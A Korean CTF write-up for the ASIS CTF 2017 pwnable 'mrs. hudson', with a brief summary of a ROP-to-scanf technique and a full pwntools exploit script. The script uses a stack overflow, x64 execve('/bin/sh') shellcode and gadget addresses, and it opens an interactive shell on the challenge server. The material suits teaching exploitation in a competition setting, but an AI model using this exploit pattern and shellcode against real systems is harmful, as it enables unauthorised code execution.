'x64 shellcode'에 해당되는 글 1건
- 2017.09.13 [ASIS CTF_2017] mrs. hudson(pwnable)
2017. 9. 13. 21:46
## ASIS CTF_2017(mrs. hudson, pwn)
[Summary]
1. rop를 이용해 scanf("%s",bss); 호출
=> pop_rdi, pop_rsi_r15 가젯 이용
=> 취약점이 터지는 함수가 scanf()여서 scanf_plt주소의 0x20부분이 null처리됨.
=> 따라서 got로 점프하는 주소 바로 다음 명령어 즉, got에 주소가 없을 경우 plt+0x6으로 다시 돌아오는데
그 주소를 이용.
=> 쉘코드 입력하고 exploit!
[Exploit Code] - mrshudson_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | from pwn import * #import hexdump context(arch='amd64',os='linux') #local=True local=False if local: p = process("./mrs._hudson") else: p = remote("178.62.249.106", 8642) binary = ELF("./mrs._hudson") raw_input() shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" #shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" bss = 0x601040 pop_rdi = 0x4006f3 pop_rsi_r15 = 0x4006f1 scanf_plt_6 = 0x400526 aS = 0x40072b if __name__ == '__main__': payload = "A"*0x70 + "ebppebpp" payload += p64(pop_rdi) + p64(aS) payload += p64(pop_rsi_r15) + p64(bss) + p64(bss) payload += p64(scanf_plt_6) payload += p64(bss) p.send(payload + '\n') p.send(shellcode + '\n') p.interactive() | cs |
[Get Flag~~!!!!]
[그림 1] flag확인
끝~!
'CTF writeup' 카테고리의 다른 글
[CSAW CTF_2017] prophecy(reversing) (0) | 2017.09.21 |
---|---|
[HDCON_2017] Fabuary(reversing) (0) | 2017.09.21 |
[Tokyo Westerns CTF_2017] swap(pwnable) (0) | 2017.09.13 |
[Samsung CTF_2017] Easyhaskell(reversing) (0) | 2017.07.23 |
[Samsung CTF_2017] Buildingblocks(Coding) (0) | 2017.07.23 |